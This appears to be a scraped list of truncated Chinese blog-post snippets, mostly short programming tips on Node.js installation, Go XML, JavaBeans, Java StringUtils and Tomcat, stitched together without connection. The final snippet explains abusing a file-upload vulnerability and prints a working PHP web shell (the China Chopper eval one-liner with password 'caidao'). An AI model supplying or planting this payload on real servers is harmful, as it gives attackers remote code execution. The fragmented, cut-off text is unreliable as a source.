参考：https://www.jianshu.com/p/c8929bea5fba 直接 apt install nodejs

参考这篇文章https://segmentfault.com/a/1190000016932102 例子 package main import ( "encoding/xml" "fmt" "os" ) typ

javabean需要有有一个package包 还需要把java类放到web-inf文件夹下 改一下输出文件的路径还可以设置一下lib库

参考https://blog.csdn.net/huanghanqian/article/details/86361386 使用别人的库 使用 org.apache.commons.lang.StringUtils 中的 join 函数。

https://blog.csdn.net/u014199097/article/details/50551731 // 静态初始化 int intArray2 [] = new int[]{20,21,22}; // 静态初始化

参考：https://blog.csdn.net/tangxl2008008/article/details/71411547 选择tomcat 然后就可以开启提示了

参考https://blog.csdn.net/a145127/article/details/84893355

我们很多攻击都会集中在下面这个应用里面 我们利用文件上传漏洞来上传程序文件 无论你上传什么文件都可以 我们上传一段sheel脚本 <?php @eval($_POST['caidao']);?> caidao是密码 然后下载